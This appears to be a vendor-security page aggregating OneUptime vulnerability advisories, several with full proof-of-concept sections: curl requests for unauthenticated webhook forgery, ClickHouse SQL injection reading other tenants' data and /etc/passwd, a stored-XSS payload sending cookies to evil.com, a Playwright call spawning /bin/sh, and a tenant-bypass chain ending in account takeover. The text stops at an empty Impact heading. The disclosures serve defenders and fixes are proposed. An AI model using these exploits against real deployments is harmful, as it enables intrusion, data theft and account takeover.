See how hackerbay compares to other vendors in security performance
OneUptime is an open-source monitoring and observability platform. Prior to version 10.0.42, the Worker service's ManualAPI exposes workflow execution endpoints (GET /workflow/manual/run/:workflowId and POST /workflow/manual/run/:workflowId) without any authentication middleware. An attacker who can obtain or guess a workflow ID can trigger arbitrary workflow execution with attacker-controlled input data, enabling JavaScript code execution, notification abuse, and data manipulation. This issue has been patched in version 10.0.42.
OneUptime is an open-source monitoring and observability platform. Prior to version 10.0.42, OneUptime's SAML SSO implementation (App/FeatureSet/Identity/Utils/SSO.ts) has decoupled signature verification and identity extraction. isSignatureValid() verifies the first <Signature> element in the XML DOM using xml-crypto, while getEmail() always reads from assertion[0] via xml2js. An attacker can prepend an unsigned assertion containing an arbitrary identity before a legitimately signed assertion, resulting in authentication bypass. This issue has been patched in version 10.0.42.
OneUptime is an open-source monitoring and observability platform. Prior to version 10.0.42, multiple notification API endpoints are registered without authentication middleware, while sibling endpoints in the same codebase correctly use ClusterKeyAuthorization.isAuthorizedServiceMiddleware. These endpoints are externally reachable via the Nginx proxy at /notification/. Combined with a projectId leak from the public Status Page API, an unauthenticated attacker can purchase phone numbers on the victim's Twilio account and delete all existing alerting numbers. This issue has been patched in version 10.0.42.
OneUptime is an open-source monitoring and observability platform. Prior to version 10.0.42, unauthenticated access to Notification test and Phone Number management endpoints allows SMS/Call/Email/WhatsApp abuse and phone number purchase. This issue has been patched in version 10.0.42.
OneUptime is an open-source monitoring and observability platform. Prior to version 10.0.35, a low-privileged authenticated user (ProjectMember) can achieve remote command execution on the Probe container/host by abusing Synthetic Monitor Playwright script execution. Synthetic monitor code is executed in VMRunner.runCodeInNodeVM with a live Playwright page object in context. The sandbox relies on a denylist of blocked properties/methods, but it is incomplete. Specifically, browserType and launchServer are not blocked, so attacker code can traverse page.context().browser().browserType.launchServer(...) and spawn arbitrary processes. Version 10.0.35 contains a patch.
Summary
The WhatsApp POST webhook handler (/notification/whatsapp/webhook) processes incoming status update events without verifying the Meta/WhatsApp X-Hub-Signature-256 HMAC signature, allowing any unauthenticated attacker to send forged webhook payloads that manipulate notification delivery status records, suppress alerts, and corrupt audit trails. The codebase already implements proper signature verification for Slack webhooks.
Details
Vulnerable code — App/FeatureSet/Notification/API/WhatsApp.ts lines 372-430: typescript router.post( "/webhook", async (req: ExpressRequest, res: ExpressResponse, next: NextFunction) => { try { const body: JSONObject = req.body as JSONObject; // NO signature verification! No X-Hub-Signature-256 check!
if ( (body["object"] as string | undefined) !== "whatsappbusinessaccount" ) { return Response.sendEmptySuccessResponse(req, res); }
const entries: JSONArray | undefined = body["entry"] as JSONArray | undefined; // ... processes entries and updates WhatsApp log status records
Compare with the Slack webhook which correctly validates signatures:
Common/Server/Middleware/SlackAuthorization.ts line 58: typescript const isValid = crypto.timingSafeEqual( Buffer.from(computedSignature), Buffer.from(slackSignature) );
The WhatsApp GET webhook correctly validates the verify token — only the POST handler (which processes actual events) is missing signature verification.
No existing CVEs cover webhook signature verification issues in OneUptime. The closest is GHSA-cw6x-mw64-q6pv (WhatsApp Resend Verification Auth Bypass), which is about a different WhatsApp-related authorization issue.
PoC
Environment: OneUptime v10.0.23 via docker compose up (default configuration)
bash Forge a delivery status update for any WhatsApp notification — no auth, no signature curl -sv -X POST http://TARGET:8080/api/notification/whatsapp/webhook \ -H "Content-Type: application/json" \ -d '{ "object": "whatsappbusinessaccount", "entry": [{ "id": "FAKEWABAID", "changes": [{ "value": { "messagingproduct": "whatsapp", "metadata": { "displayphonenumber": "+15550000000", "phonenumberid": "FAKEPHONEID" }, "messages": [{ "from": "15551234567", "id": "wamid.FAKE", "timestamp": "1234567890", "text": {"body": "INJECTEDMESSAGE"}, "type": "text" }] }, "field": "messages" }] }] }'
Docker validation (oneuptime/app:release, APPVERSION=10.0.23): < HTTP/1.1 200 OK {}
- Fake WhatsApp webhook payload accepted with HTTP 200 - No X-Hub-Signature-256 header provided — no signature verification at all - Attacker can inject arbitrary inbound WhatsApp messages and forge delivery status updates
Impact
Any unauthenticated remote attacker can forge WhatsApp webhook events:
- False delivery status: Mark undelivered WhatsApp notifications as "delivered", hiding delivery failures from administrators - Alert suppression: Critical on-call notifications that failed to deliver appear successful, preventing escalation - Log manipulation: WhatsApp notification logs updated with forged status data, corrupting audit trails - Incident response disruption: During active incidents, forging "delivered" statuses prevents the system from retrying failed notification deliveries
OneUptime is a solution for monitoring and managing online services. Prior to version 10.0.34, the fix for CVE-2026-32306 (ClickHouse SQL injection via aggregate query parameters) added column name validation to the aggregateBy method but did not apply the same validation to three other query construction paths in StatementGenerator. The toSortStatement, toSelectStatement, and toGroupByStatement methods accept user-controlled object keys from API request bodies and interpolate them as ClickHouse Identifier parameters without verifying they correspond to actual model columns. ClickHouse Identifier parameters are substituted directly into queries without escaping, so an attacker who can reach any analytics list or aggregate endpoint can inject arbitrary SQL through crafted sort, select, or groupBy keys. This issue has been patched in version 10.0.34.
Summary
The password reset flow logs the complete password reset URL — containing the plaintext reset token — at INFO log level, which is enabled by default in production. Anyone with access to application logs (log aggregation, Docker logs, Kubernetes pod logs) can intercept reset tokens and perform account takeover on any user.
Details
Vulnerable code — App/FeatureSet/Identity/API/Authentication.ts lines 370-371: typescript logger.info("User forgot password: " + user.email?.toString()); logger.info("Reset Password URL: " + tokenVerifyUrl);
The tokenVerifyUrl is a complete URL like https://app.oneuptime.com/accounts/reset-password/<plaintext-token>. This is logged at INFO level, which is enabled by default in production and persisted to stdout, log files, and any configured log aggregation systems.
Additionally — login credentials logged at DEBUG level (line 909): typescript logger.debug("Login request data: " + JSON.stringify(req.body, null, 2));
The entire login request body (including cleartext password) is logged at DEBUG level. While DEBUG is typically disabled in production, it is commonly enabled during incident troubleshooting.
No existing CVEs cover sensitive data exposure in logging for OneUptime. CVE-2026-30956 (GHSA-r5v6-2599-9g3m) leaked resetPasswordToken from the database via multi-tenant header bypass — this finding is different (token leaked via application logs).
PoC
Environment: OneUptime v10.0.23 via docker compose up (default configuration)
bash Step 1 — Trigger forgot-password for target user curl -s -X POST http://TARGET:8080/api/identity/forgot-password \ -H 'Content-Type: application/json' \ -d '{"data": {"email": "test@example.com"}}' Response: {}
Step 2 — Read application logs to extract the reset token docker compose logs app --tail 5 Output: app-1 | User forgot password: test@example.com app-1 | Reset Password URL: http://localhost/accounts/reset-password/20771cc6-860a-4b9b-bb9c-09eff67de4ef
Step 3 — Use the extracted token to reset the victim's password curl -s -X POST http://TARGET:8080/api/identity/reset-password \ -H 'Content-Type: application/json' \ -d '{"data": {"token": "20771cc6-860a-4b9b-bb9c-09eff67de4ef", "password": "NewPassword123!"}}'
Tested and confirmed on 2026-03-12 against oneuptime/app:release (APPVERSION=10.0.23). Full password reset token 20771cc6-860a-4b9b-bb9c-09eff67de4ef visible in INFO-level logs.
Attack surface for log access: ELK/Elasticsearch dashboards (often misconfigured with default credentials), CloudWatch/Datadog/Splunk/Grafana Loki, docker logs / kubectl logs, shared log volumes, CDN/proxy access logs.
Impact
Any user's account can be taken over by anyone with read access to application logs:
- Account takeover: Every password reset token is logged in plaintext, creating a persistent trail of sensitive tokens - Exposure scale: This logs EVERY password reset request — not a one-off, but systematic - Cascading impact: Combined with differential error responses in forgot-password (user enumeration), an attacker can systematically target any user - Organizations that aggregate OneUptime logs into shared logging infrastructure expose all password reset tokens to anyone with log reader access
Summary
The Markdown viewer component renders Mermaid diagrams with securityLevel: "loose" and injects the SVG output via innerHTML. This configuration explicitly allows interactive event bindings in Mermaid diagrams, enabling XSS through Mermaid's click directive which can execute arbitrary JavaScript. Any field that renders markdown (incident descriptions, status page announcements, monitor notes) is vulnerable.
Details
Mermaid configuration — Common/UI/Components/Markdown.tsx/MarkdownViewer.tsx:76:
typescript // MarkdownViewer.tsx:76 mermaid.initialize({ securityLevel: "loose", // Allows interactive event bindings // ... });
The Mermaid documentation explicitly warns: securityLevel: "loose" allows click events and other interactive bindings in diagrams. The safe default is "strict" which strips all interactivity.
SVG injection via innerHTML — MarkdownViewer.tsx:106:
typescript // MarkdownViewer.tsx:106 if (containerRef.current) { containerRef.current.innerHTML = svg; // Raw SVG injection }
After Mermaid renders the diagram to SVG, the SVG string is injected directly into the DOM via innerHTML. Combined with securityLevel: "loose", this allows event handlers embedded in the SVG to execute.
Mermaid XSS payload:
markdown mermaid graph TD A["Click me"] click A callback "javascript:fetch('https://evil.com/?c='+document.cookie)"
With securityLevel: "loose", Mermaid processes the click directive and creates an SVG element with an event handler that executes the JavaScript.
PoC
bash Authenticate TOKEN=$(curl -s -X POST 'https://TARGET/identity/login' \ -H 'Content-Type: application/json' \ -d '{"email":"user@example.com","password":"password123"}' \ | jq -r '.token')
Create an incident note with Mermaid XSS payload curl -s -X POST 'https://TARGET/api/incident-note' \ -H "Authorization: Bearer $TOKEN" \ -H 'Content-Type: application/json' \ -H 'tenantid: PROJECTID' \ -d '{ "data": { "incidentId": "INCIDENTID", "note": "## Root Cause Analysis\n\nmermaid\ngraph TD\n A[\"Load Balancer\"] --> B[\"App Server\"]\n click A callback \"javascript:fetch('"'"'https://evil.com/?c='"'"'+document.cookie)\"\n", "noteType": "RootCause" } }'
Any user viewing this incident note will have their cookies exfiltrated
bash Verify the vulnerability in source code:
1. securityLevel: "loose": grep -n 'securityLevel' Common/UI/Components/Markdown.tsx/MarkdownViewer.tsx Line 76: securityLevel: "loose"
2. innerHTML injection: grep -n 'innerHTML' Common/UI/Components/Markdown.tsx/MarkdownViewer.tsx Line 106: containerRef.current.innerHTML = svg
Impact
Stored XSS in any markdown-rendered field. Affects:
1. Incident notes/descriptions — viewed by on-call engineers during incidents 2. Status page announcements — viewed by public visitors 3. Monitor descriptions — viewed by team members 4. Any markdown field — the MarkdownViewer component is shared across the UI
The "loose" security level combined with innerHTML injection allows arbitrary JavaScript execution in the context of the OneUptime application.
Proposed Fix
typescript // 1. Change securityLevel to "strict" (default safe mode): mermaid.initialize({ securityLevel: "strict", // Strips all interactive bindings // ... });
// 2. Use DOMPurify on the SVG output before innerHTML injection: import DOMPurify from "dompurify";
if (containerRef.current) { containerRef.current.innerHTML = DOMPurify.sanitize(svg, { USEPROFILES: { svg: true, svgFilters: true }, ADDTAGS: ['foreignObject'], }); }
Summary
The telemetry aggregation API accepts user-controlled aggregationType, aggregateColumnName, and aggregationTimestampColumnName parameters and interpolates them directly into ClickHouse SQL queries via the .append() method (documented as "trusted SQL"). There is no allowlist, no parameterized query binding, and no input validation. An authenticated user can inject arbitrary SQL into ClickHouse, enabling full database read (including telemetry data from all tenants), data modification, and potential remote code execution via ClickHouse table functions.
Details
Entry Point — Common/Server/API/BaseAnalyticsAPI.ts:88-98, 292-296:
The POST /{modelName}/aggregate route deserializes aggregateBy directly from the request body:
typescript // BaseAnalyticsAPI.ts:292-296 const aggregateBy: AggregateBy<TBaseModel> = JSONFunctions.deserialize( req.body["aggregateBy"] ) as AggregateBy<TBaseModel>;
No schema validation is applied to aggregateBy. The object flows directly to the database service.
No Validation — Common/Server/Services/AnalyticsDatabaseService.ts:276-278:
typescript // AnalyticsDatabaseService.ts:276-278 if (aggregateBy.aggregationType) { // Only truthiness check — no allowlist }
The aggregationType field is only checked for existence, never validated against an allowed set of values (e.g., AVG, SUM, COUNT).
Raw SQL Injection — Common/Server/Utils/AnalyticsDatabase/StatementGenerator.ts:527:
typescript // StatementGenerator.ts:527 statement.append( ${aggregationType}(${aggregateColumnName}) as aggregationResult );
The .append() method on Statement (at Statement.ts:149-151) is documented as accepting trusted SQL and performs raw string concatenation:
typescript // Statement.ts:149-151 public append(text: string): Statement { this.query += text; // Raw concatenation — "trusted SQL" return this; }
Similarly, aggregationTimestampColumnName is injected into GROUP BY clauses at AnalyticsDatabaseService.ts:604-606:
typescript statement.append( toStartOfInterval(${aggregationTimestampColumnName}, ...) );
Attack flow: 1. Authenticated user sends POST /api/log/aggregate (or /api/span/aggregate, /api/metric/aggregate) 2. Request body contains aggregateBy.aggregationType set to a SQL injection payload 3. Payload passes truthiness check at line 276 4. Payload is concatenated into SQL via .append() at line 527 5. ClickHouse executes the injected SQL
PoC
bash Step 1: Authenticate and get session token TOKEN=$(curl -s -X POST 'https://TARGET/identity/login' \ -H 'Content-Type: application/json' \ -d '{"email":"user@example.com","password":"password123"}' \ | jq -r '.token')
Step 2: Extract data from ClickHouse system tables via UNION injection curl -s -X POST 'https://TARGET/api/log/aggregate' \ -H "Authorization: Bearer $TOKEN" \ -H 'Content-Type: application/json' \ -H 'tenantid: PROJECTID' \ -d '{ "aggregateBy": { "aggregationType": "COUNT) as aggregationResult FROM system.one UNION ALL SELECT name FROM system.tables WHERE database = '\''oneuptime'\'' --", "aggregateColumnName": "serviceId", "aggregationTimestampColumnName": "createdAt" }, "query": {} }'
Step 3: Read telemetry data across all tenants curl -s -X POST 'https://TARGET/api/log/aggregate' \ -H "Authorization: Bearer $TOKEN" \ -H 'Content-Type: application/json' \ -H 'tenantid: PROJECTID' \ -d '{ "aggregateBy": { "aggregationType": "COUNT) as aggregationResult FROM system.one UNION ALL SELECT body FROM Log LIMIT 100 --", "aggregateColumnName": "serviceId", "aggregationTimestampColumnName": "createdAt" }, "query": {} }'
Step 4: Read files via ClickHouse table functions (if enabled) curl -s -X POST 'https://TARGET/api/log/aggregate' \ -H "Authorization: Bearer $TOKEN" \ -H 'Content-Type: application/json' \ -H 'tenantid: PROJECTID' \ -d '{ "aggregateBy": { "aggregationType": "COUNT) as aggregationResult FROM system.one UNION ALL SELECT FROM file('\''/etc/passwd'\'') --", "aggregateColumnName": "serviceId", "aggregationTimestampColumnName": "createdAt" }, "query": {} }'
bash Verify the vulnerability in source code:
1. No allowlist for aggregationType: grep -n 'aggregationType' Common/Server/Services/AnalyticsDatabaseService.ts | head -5 Line 276: if (aggregateBy.aggregationType) { — truthiness only
2. Raw SQL concatenation: grep -n 'aggregationType.aggregateColumnName' Common/Server/Utils/AnalyticsDatabase/StatementGenerator.ts Line 527: ${aggregationType}(${aggregateColumnName}) as aggregationResult
3. .append() is raw concatenation: grep -A3 'public append' Common/Server/Utils/AnalyticsDatabase/Statement.ts this.query += text; — "trusted SQL"
4. No validation at API layer: grep -A5 'aggregateBy' Common/Server/API/BaseAnalyticsAPI.ts | grep -c 'validate\|sanitize\|allowlist' 0
Impact
Full ClickHouse database compromise. An authenticated user (any role) can:
1. Cross-tenant data theft — Read telemetry data (logs, traces, metrics, exceptions) from ALL tenants/projects in the ClickHouse database, not just their own 2. Data manipulation — INSERT/ALTER/DROP tables in ClickHouse, destroying telemetry data for all users 3. Server-side file read — Via ClickHouse's file() table function (if not explicitly disabled), read arbitrary files from the ClickHouse container filesystem 4. Remote code execution — Via ClickHouse's url() table function, make HTTP requests from the server (SSRF), or via executable() table function, execute OS commands 5. Credential theft — ClickHouse default configuration (default user, password from env) could be leveraged to connect directly
The vulnerability requires only basic authentication (any registered user), making it exploitable at scale.
Proposed Fix
typescript // 1. Add an allowlist for aggregationType in AnalyticsDatabaseService.ts: const ALLOWEDAGGREGATIONTYPES = ['AVG', 'SUM', 'COUNT', 'MIN', 'MAX', 'UNIQ'];
if (!ALLOWEDAGGREGATIONTYPES.includes(aggregateBy.aggregationType.toUpperCase())) { throw new BadRequestException( Invalid aggregationType: ${aggregateBy.aggregationType}. + Allowed: ${ALLOWEDAGGREGATIONTYPES.join(', ')} ); }
// 2. Validate aggregateColumnName against the model's known columns: const modelColumns = model.getColumnNames(); // or similar accessor if (!modelColumns.includes(aggregateBy.aggregateColumnName)) { throw new BadRequestException( Invalid column: ${aggregateBy.aggregateColumnName} ); }
// 3. Same for aggregationTimestampColumnName: if (aggregateBy.aggregationTimestampColumnName && !modelColumns.includes(aggregateBy.aggregationTimestampColumnName)) { throw new BadRequestException( Invalid timestamp column: ${aggregateBy.aggregationTimestampColumnName} ); }
// 4. Use parameterized queries where possible: statement.append({aggregationType:Identifier}({columnName:Identifier}) as aggregationResult); statement.addParameter('aggregationType', aggregateBy.aggregationType); statement.addParameter('columnName', aggregateBy.aggregateColumnName);
OneUptime is a solution for monitoring and managing online services. Prior to 10.0.21, an unauthenticated path traversal in the /workflow/docs/:componentName endpoint allows reading arbitrary files from the server filesystem. The componentName route parameter is concatenated directly into a file path passed to res.sendFile() in orker/FeatureSet/Workflow/Index.ts with no sanitization or authentication middleware. This vulnerability is fixed in 10.0.21.
Description The resend-verification-code endpoint allows any authenticated user to trigger a verification code resend for any UserWhatsApp record by ID. Ownership is not validated (unlike the verify endpoint).
Affected Source - Endpoint: UserWhatsAppAPI.ts - Service: UserWhatsAppService.ts - Verify ownership (present in verify endpoint for comparison): UserWhatsAppAPI.ts
Full Code Lines (UserWhatsAppAPI.ts)
Resend path (authorization gap):
ts this.router.post( ${new this.entityType() .getCrudApiPath() ?.toString()}/resend-verification-code, UserMiddleware.getUserMiddleware, async (req: ExpressRequest, res: ExpressResponse, next: NextFunction) => { try { req = req as OneUptimeRequest;
if (!req.body.itemId) { return Response.sendErrorResponse( req, res, new BadDataException("Invalid item ID"), ); }
await this.service.resendVerificationCode(req.body.itemId);
return Response.sendEmptySuccessResponse(req, res); } catch (err) { return next(err); } }, );
Verify path (ownership check present):
ts if ( item.userId?.toString() !== (req as OneUptimeRequest)?.userAuthorization?.userId?.toString() ) { return Response.sendErrorResponse( req, res, new BadDataException("Invalid user ID"), ); }
Prerequisites - Valid attacker account with access to a project - Attacker access token - A victim’s UserWhatsApp itemId belonging to the same project
Steps to Reproduce 1. Set your attacker token:
bash export ATK="Bearer <attacker-access-token>"
2. Trigger resend for the victim’s item:
bash curl -s -X POST \ -H "Content-Type: application/json" \ -H "Authorization: $ATK" \ -d '{"itemId":"<victim-userwhatsapp-id>"}' \ http://<host>/api/user-whats-app/resend-verification-code
Expected/Observed Behavior - HTTP 200 with {} body and a new verification code sent to the victim’s phone - No checks confirm that item.userId equals the authenticated user’s ID for the resend path
Impact - Spam/DoS against victims’ phone numbers, social engineering pressure, and potential lockout flows due to repeated resends
Recommended Fix - Enforce ownership: item.userId must match the authenticated user - Add per-item and per-user rate limiting for resends
Summary
OneUptime Synthetic Monitors allow a low-privileged authenticated project user to execute arbitrary commands on the oneuptime-probe server/container.
The root cause is that untrusted Synthetic Monitor code is executed inside Node's vm while live host-realm Playwright browser and page objects are exposed to it. A malicious user can call Playwright APIs on the injected browser object and cause the probe to spawn an attacker-controlled executable.
This is a server-side remote code execution issue. It does not require a separate vm sandbox escape.
Details
A normal project member can create or edit monitors and monitor tests:
- Monitor access control: https://github.com/OneUptime/oneuptime/blob/707bfd62e721a2845ee05b87cb5d3c611bda2276/Common/Models/DatabaseModels/Monitor.ts#L45-L70 - MonitorTest access control: https://github.com/OneUptime/oneuptime/blob/707bfd62e721a2845ee05b87cb5d3c611bda2276/Common/Models/DatabaseModels/MonitorTest.ts#L27-L52
The dashboard exposes a Playwright code editor for Synthetic Monitors and allows a user to queue a test run:
- Synthetic Monitor editor: https://github.com/OneUptime/oneuptime/blob/707bfd62e721a2845ee05b87cb5d3c611bda2276/App/FeatureSet/Dashboard/src/Components/Form/Monitor/MonitorStep.tsx#L260-L289 - Test Monitor flow: https://github.com/OneUptime/oneuptime/blob/707bfd62e721a2845ee05b87cb5d3c611bda2276/App/FeatureSet/Dashboard/src/Components/Form/Monitor/MonitorTest.tsx#L69-L83
For MonitorType.SyntheticMonitor, attacker-controlled customCode is passed into SyntheticMonitor.execute(...):
- https://github.com/OneUptime/oneuptime/blob/707bfd62e721a2845ee05b87cb5d3c611bda2276/Probe/Utils/Monitors/Monitor.ts#L323-L338
SyntheticMonitor.execute(...) then calls VMRunner.runCodeInNodeVM(...) and injects live Playwright objects into the VM context:
- https://github.com/OneUptime/oneuptime/blob/707bfd62e721a2845ee05b87cb5d3c611bda2276/Probe/Utils/Monitors/MonitorTypes/SyntheticMonitor.ts#L156-L168
Relevant code path:
ts result = await VMRunner.runCodeInNodeVM({ code: options.script, options: { timeout: PROBESYNTHETICMONITORSCRIPTTIMEOUTINMS, args: {}, context: { browser: browserSession.browser, page: browserSession.page, screenSizeType: options.screenSizeType, browserType: options.browserType, }, }, });
VMRunner.runCodeInNodeVM(...) wraps host objects in proxies, but it still forwards normal method calls with the real host this binding. It only blocks a few property names such as constructor, proto, prototype, and mainModule:
- Blocked properties: https://github.com/OneUptime/oneuptime/blob/707bfd62e721a2845ee05b87cb5d3c611bda2276/Common/Server/Utils/VM/VMRunner.ts#L20-L25 - Real host this binding during method calls: https://github.com/OneUptime/oneuptime/blob/707bfd62e721a2845ee05b87cb5d3c611bda2276/Common/Server/Utils/VM/VMRunner.ts#L81-L103 - Additional context injection into the VM: https://github.com/OneUptime/oneuptime/blob/707bfd62e721a2845ee05b87cb5d3c611bda2276/Common/Server/Utils/VM/VMRunner.ts#L388-L395
Because of that, untrusted code can still use legitimate Playwright methods on the injected browser object.
The probe pins Playwright 1.58.2:
- https://github.com/OneUptime/oneuptime/blob/707bfd62e721a2845ee05b87cb5d3c611bda2276/Probe/package-lock.json#L4438-L4459
In that version, Browser.browserType() returns a BrowserType object, and BrowserType.launch() accepts attacker-controlled executablePath, ignoreDefaultArgs, and args. Playwright then passes those values into a child-process spawn path.
As a result, a malicious Synthetic Monitor can do this from inside the sandboxed script:
javascript browser.browserType().launch({ executablePath: "/bin/sh", ignoreDefaultArgs: true, args: ["-c", "id"], });
Even if Playwright later throws because the spawned process is not a real browser, the command has already executed.
This execution path is reachable through both one-shot monitor testing and normal scheduled monitor execution:
- Monitor tests fetched by the probe: https://github.com/OneUptime/oneuptime/blob/707bfd62e721a2845ee05b87cb5d3c611bda2276/Probe/Jobs/Monitor/FetchMonitorTest.ts#L55-L85 - Scheduled monitor execution: https://github.com/OneUptime/oneuptime/blob/707bfd62e721a2845ee05b87cb5d3c611bda2276/Probe/Jobs/Monitor/FetchList.ts#L96-L126
This appears distinct from prior node:vm breakout issues because the exploit does not need to recover process from the VM. The dangerous capability is already exposed by design through the injected Playwright object.
PoC
1. Log in to the dashboard as a regular project member. 2. Go to Monitors -> Create New Monitor. 3. Select Synthetic Monitor. 4. In the Playwright code field, paste:
javascript browser.browserType().launch({ executablePath: "/bin/sh", ignoreDefaultArgs: true, args: [ "-c", "id" ], timeout: 1000, }).catch((err) => { console.log(String(err)); });
return { data: { launched: true } };
5. Select one browser type, for example Chromium. 6. Select one screen type, for example Desktop. 7. Set retry count to 0. 8. Click Test Monitor and choose any probe.
Expected result:
- the monitor execution succeeded and in the Show More Details the command output is shown. <img width="1537" height="220" alt="image" src="https://github.com/user-attachments/assets/4fa5b458-cae9-4ec8-add0-bfc288ee7568" />
Impact This is a server-side Remote Code Execution issue affecting the probe component.
Who is impacted:
- any OneUptime deployment where an attacker can obtain ordinary project membership - environments where the probe has access to internal services, secrets, Kubernetes metadata, database credentials, proxy credentials, or other cluster-local trust relationships
Summary A low‑privileged user can bypass authorization and tenant isolation in OneUptime v10.0.20 by sending a forged is-multi-tenant-query header together with a controlled projectid header.
Because the server trusts this client-supplied header, internal permission checks in BasePermission are skipped and tenant scoping is disabled.
This allows attackers to:
1. Access project data belonging to other tenants 2. Read sensitive User fields via nested relations 3. Leak plaintext resetPasswordToken 4. Reset the victim’s password and fully take over the account
This results in cross‑tenant data exposure and full account takeover.
Details
Root cause
The API trusts a client‑controlled header to determine whether a request should bypass authorization checks.
CommonAPI.ts if (req.headers["is-multi-tenant-query"]) { props.isMultiTenantRequest = true; } BasePermission.ts if (!props.isMultiTenantRequest) { TablePermission.checkTableLevelPermissions(...) QueryPermission.checkQueryPermission(...) SelectPermission.checkSelectPermission(...) } When the attacker sends: is-multi-tenant-query: true the system skips all authorization checks including:
- Table permission validation - Query permission validation - Select permission validation - Tenant isolation enforcement
Additionally, tenant scoping is disabled in TenantPermission
Sensitive user data exposure
Projects marked with: @MultiTenentQueryAllowed(true) allow cross-tenant queries when the header is present.
The Project model contains a relation: createdByUser Because select permission checks are skipped, attackers can retrieve sensitive fields from the User model including: password resetPasswordToken webauthnChallenge
Reset token stored in plaintext
In the password reset flow:
Authentication.ts resetPasswordToken: token The reset token is stored in plaintext in the database.
During password reset: /api/identity/reset-password the server validates the provided token directly.
If an attacker leaks this token through the authorization bypass, they can immediately reset the victim’s password.
Exploitation chain
1. Attacker bypasses tenant isolation using is-multi-tenant-query 2. Attacker reads victim project 3. Attacker selects createdByUser.resetPasswordToken 4. Attacker triggers forgot-password for victim 5. Attacker retrieves the fresh token via the same query 6. Attacker calls /api/identity/reset-password 7. Attacker sets a new password 8. Attacker logs in as victim
This results in full account takeover.
PoC
Setup: - Local OneUptime v10.0.20 instance - Two normal accounts: - Attacker account owns Project A (7cb77c45-c2e0-42b5-8a28-57aa0dec6e82) - Victim account owns Project B (88ced36b-4c0a-4c12-bdf1-497d60b10b23) with email victim@example.com
---
Chain 1: Direct Project Isolation Bypass
1. Read isolation bypass
bash curl -X POST http://localhost/api/project/get-list \ -H "authorization: Bearer <attackertoken>" \ -H "projectid: 7cb77c45-c2e0-42b5-8a28-57aa0dec6e82" \ -H "is-multi-tenant-query: true" \ -H "content-type: application/json" \ -d '{ "query": {}, "select": { "id": true, "name": true, "createdOwnerEmail": true } }' Result: Returns both the attacker's and victim's projects: json { "data": [ { "id": "88ced36b-4c0a-4c12-bdf1-497d60b10b23", "name": "Victim Project", "createdOwnerEmail": { "value": "victim@example.com" } }, { "id": "7cb77c45-c2e0-42b5-8a28-57aa0dec6e82", "name": "Attacker Project", "createdOwnerEmail": { "value": "attacker@example.com" } } ], "count": 2 } 2. Write isolation bypass
Victim project name is initially: Victim Project ORIGINAL curl -X POST http://localhost/api/project/88ced36b-4c0a-4c12-bdf1-497d60b10b23/update-item \ -H "authorization: Bearer <attackertoken>" \ -H "projectid: 7cb77c45-c2e0-42b5-8a28-57aa0dec6e82" \ -H "is-multi-tenant-query: true" \ -H "content-type: application/json" \ -d '{"name":"Victim Project EXPLOIT"}' Result: Victim project name is updated to "Victim Project EXPLOIT" despite the attacker not being a member of the victim project.
Chain 2: Account Takeover via Credential Leakage
3. Trigger password reset for victim curl -X POST http://localhost/api/identity/forgot-password \ -H "content-type: application/json" \ -d "{\"email\":\"victim@example.com\"}" 4. Leak victim password hash and reset token via tenant bypass curl -X POST http://localhost/api/project/get-list \ -H "authorization: Bearer <attackertoken>" \ -H "projectid: 7cb77c45-c2e0-42b5-8a28-57aa0dec6e82" \ -H "is-multi-tenant-query: true" \ -H "content-type: application/json" \ -d '{ "query": {"id": "88ced36b-4c0a-4c12-bdf1-497d60b10b23"}, "select": { "id": true, "createdByUser": { "email": true, "password": true, "resetPasswordToken": true } } }' Result: Sensitive user data is exposed: { "data": [{ "id": "88ced36b-4c0a-4c12-bdf1-497d60b10b23", "createdByUser": { "email": {"value": "victim@example.com"}, "password": {"value": "faef08e8f2b9e9dfa09c15dfaf043b8aad7761d9712c7e09417d4da2156e33d9"}, "resetPasswordToken": "4b75e6d0-1aca-11f1-b2d4-698549b693fb" } }] } 5. Take over victim account using leaked token Reset password with leaked token curl -X POST http://localhost/api/identity/reset-password \ -H "content-type: application/json" \ -d '{ "resetPasswordToken": "4b75e6d0-1aca-11f1-b2d4-698549b693fb", "password": "AttackerChosenPassword123!" }'
Login as victim with new password curl -X POST http://localhost/api/identity/login \ -H "content-type: application/json" \ -d '{ "email": "victim@example.com", "password": "AttackerChosenPassword123!" }' Result: Successful login with attacker-chosen password, original password fails - complete account takeover achieved.
Result: Victim project name is updated despite the attacker not being a member of the victim project. Impact This vulnerability allows a low‑privileged authenticated user to:
- bypass tenant isolation - access other tenant projects - read sensitive user credential fields - leak plaintext reset tokens - reset victim passwords - fully take over victim accounts
Because OneUptime is a multi‑tenant monitoring platform, this allows attackers to compromise any tenant account in the system.
Summary
OneUptime's GitHub App callback trusts attacker-controlled state and installationid values and updates Project.gitHubAppInstallationId with isRoot: true without validating that the caller is authorized for the target project. This allows an attacker to overwrite another project's GitHub App installation binding.
Related GitHub endpoints also lack effective authorization, so a valid installation ID can be used to enumerate repositories and create CodeRepository records in an arbitrary project.
Details
The callback decodes unsigned base64 JSON from state and uses the embedded projectId directly:
- https://github.com/OneUptime/oneuptime/blob/master/Common/Server/API/GitHubAPI.ts#L34-L112
It then writes the supplied installationid into the target project with root privileges:
ts await ProjectService.updateOneById({ id: new ObjectID(projectId), data: { gitHubAppInstallationId: installationId }, props: { isRoot: true }, });
The userId in state is only checked for presence, not authenticity:
- https://github.com/OneUptime/oneuptime/blob/master/Common/Server/API/GitHubAPI.ts#L73-L79
The install flow also generates state as plain base64 JSON, not a signed or session-bound token:
- https://github.com/OneUptime/oneuptime/blob/master/Common/Server/API/GitHubAPI.ts#L127-L165
The follow-on endpoints are also vulnerable:
- Repository listing: https://github.com/OneUptime/oneuptime/blob/master/Common/Server/API/GitHubAPI.ts#L179-L258 - Repository connect: https://github.com/OneUptime/oneuptime/blob/master/Common/Server/API/GitHubAPI.ts#L260-L356 - Middleware allows requests with no token to continue as Public: https://github.com/OneUptime/oneuptime/blob/master/Common/Server/Middleware/UserAuthorization.ts#L205-L211 - Installation tokens are minted from any valid installation ID: https://github.com/OneUptime/oneuptime/blob/master/Common/Server/Utils/CodeRepository/GitHub/GitHub.ts#L347-L425
PoC
Minimal proof of unauthorized project tampering:
bash STATE=$(printf '%s' '{"projectId":"<victim-project-uuid>","userId":"x"}' | base64 | tr -d '\n') curl -isk "https://<host>/api/github/auth/callback?installationid=999999999&state=${STATE}"
Expected result:
- Server returns a 302 redirect to /dashboard/<victim-project-uuid>/code-repository?installationid=999999999 - The target project's gitHubAppInstallationId is overwritten
Impact
